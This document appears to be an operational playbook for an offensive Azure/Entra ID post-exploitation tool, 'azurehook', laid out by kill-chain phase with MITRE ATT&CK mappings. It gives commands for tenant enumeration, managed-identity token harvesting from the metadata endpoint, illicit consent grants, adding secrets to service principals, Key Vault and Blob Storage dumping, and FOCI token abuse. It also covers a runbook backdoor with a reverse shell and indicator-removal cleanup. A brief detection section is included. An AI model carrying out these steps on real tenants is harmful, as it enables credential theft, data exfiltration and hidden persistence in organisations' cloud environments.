azure-postexploit

name	azure-postexploit
description	Azure/Entra ID post-exploitation for tenant compromise, Key Vault extraction, managed identity abuse, and token manipulation
category	post-exploitation
tags	["azure","entra-id","cloud","post-exploitation","keyvault","managed-identity","credential-access","persistence","token-abuse"]
tech_stack	["azure","python","msal","msgraph","requests"]
cwe_ids	["CWE-269","CWE-522","CWE-693","CWE-284"]
chains_with	["T1078.004","T1552.001","T1098.001","T1550.001","T1528"]
prerequisites	["T1078.004"]
version	1.0

Azure/Entra ID Post-Exploitation Methodology

Azure post-exploitation uses Microsoft Graph API, Azure Resource Manager API, and direct IMDS access for tenant enumeration, privilege escalation, secret extraction, and persistence. After compromising Azure credentials or a managed identity, these tools provide comprehensive Entra ID and Azure resource exploitation capabilities.

Prerequisites

1. Valid Azure credentials — service principal, user credentials, managed identity, or access token
2. Python packages — pip3 install requests msal azure-identity azure-keyvault-secrets azure-storage-blob
3. Current identity — verify access via az account show or Graph API /me endpoint

# Quick prerequisite check
az account show                              # verify Azure CLI credentials
python3 -c "import requests; print('OK')"    # verify requests
curl -s -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" 2>/dev/null && echo "IMDS available"

Kill Chain Phases

Phase 1 — Situational Awareness

Action	Command	Purpose
Entra ID enum	azurehook entra_enum	Enumerate users, groups, apps, SPs, conditional access
Managed identity	azurehook managed_identity	Extract managed identity tokens from VM/App Service

Phase 2 — Privilege Escalation

Action	Command	Purpose
Consent grant	azurehook entra_privesc --method consent_grant	Illicit consent grant for Directory.ReadWrite.All
PIM activation	azurehook entra_privesc --method pim_activate	Activate eligible Global Administrator role
SP secret	azurehook entra_privesc --method sp_secret	Add client secret to existing service principal

Phase 3 — Data Exfiltration

Action	Command	Purpose
Key Vault dump	azurehook keyvault_dump	Extract secrets, keys, certificates from Key Vaults
Storage dump	azurehook storage_dump	Download sensitive data from Blob Storage
Token abuse	azurehook azuread_token --action foci	Use FOCI to get tokens for multiple services

Phase 4 — Persistence

Action	Command	Purpose
Runbook backdoor	azurehook runbook_backdoor --automation-account NAME --resource-group RG	Create Automation runbook with reverse shell

Phase 5 — Cleanup (MANDATORY)

azurehook cleanup_azure

Detection Considerations

• Azure Activity Log — All ARM API calls, role assignments, resource creation
• Entra ID Audit Logs — App consent grants, credential additions, role activations
• Microsoft Defender for Cloud — Anomalous resource access, privilege escalation
• Conditional Access — Untrusted location/device blocks
• Azure Sentinel — UEBA, anomalous sign-in patterns, bulk data access

Program Reference

Program	Technique	MITRE ATT&CK
entra_enum	Entra ID tenant enumeration	T1087.004 — Cloud Account
entra_privesc	Privilege escalation via consent/PIM/SP	T1098.001 — Additional Cloud Credentials
keyvault_dump	Key Vault secret extraction	T1555.006 — Cloud Secrets Management Stores
storage_dump	Azure Storage data exfiltration	T1530 — Data from Cloud Storage
managed_identity	Managed identity token harvest	T1552.005 — Cloud Instance Metadata API
runbook_backdoor	Automation Account persistence	T1525 — Implant Internal Image
azuread_token	Token manipulation and FOCI abuse	T1550.001 — Application Access Token
cleanup_azure	Resource removal and restoration	T1070 — Indicator Removal